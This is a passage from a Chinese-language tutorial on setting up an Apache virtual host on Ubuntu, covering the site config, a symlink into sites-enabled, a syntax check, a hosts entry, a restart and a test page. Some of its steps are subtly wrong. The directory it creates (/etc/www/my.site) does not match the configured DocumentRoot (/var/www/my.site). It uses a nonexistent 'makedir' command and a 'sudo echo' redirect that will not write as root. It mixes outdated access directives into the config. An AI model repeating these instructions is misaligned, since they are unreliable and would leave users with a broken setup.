    # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
    # error, crit, alert, emerg.
    # It is also possible to configure the loglevel for particular
    # modules, e.g.
    #LogLevel info ssl:warn

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

    # For most configuration files from conf-available/, which are
    # enabled or disabled at a global level, it is possible to
    # include a line for only one particular virtual host. For example the
    # following line enables the CGI configuration for this host only
    # after it has been globally disabled with "a2disconf".
    #Include conf-available/serve-cgi-bin.conf
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

精简版(去掉了多余注释):

<VirtualHost *:80>
    ServerName my.site
    ServerAlias my.site
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/my.site
    <Directory "/var/www/my.site/">
        Options FollowSymLinks
        DirectoryIndex index.php index.html index.htm
        AllowOverride All
        Order deny,allow
        Allow from All
        # php_admin_value open_basedir "/var/www/my.site/:/tmp:/usr/lib/php/"
    </Directory>
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

(2)建符号链接

sudo ln -s /etc/apache2/sites-available/my.site.conf /etc/apache2/sites-enabled/my.site.conf

(3)检查语法

终端执行:

apachectl configtest

(4)添加 hosts 解析

vim /etc/hosts ,添加一行:

127.0.0.1   my.site

(5)重启 apache

sudo /etc/init.d/apache2 restart

然后,按照配置的站点目录 /etc/www/my.site,创建目录和测试文件:

sudo makedir -p /etc/www/my.site
cd /etc/www/my.site/
sudo echo "<h2>Welcome to my.site!</h2>" > index.html

浏览器访问 http://my.site,

未分类

OK,完成~~

十五、相关链接

PHP 及扩展的 PPA 源:https://launchpad.net/~ondrej/+archive/ubuntu/php/+index?batch=75&memo=75&start=75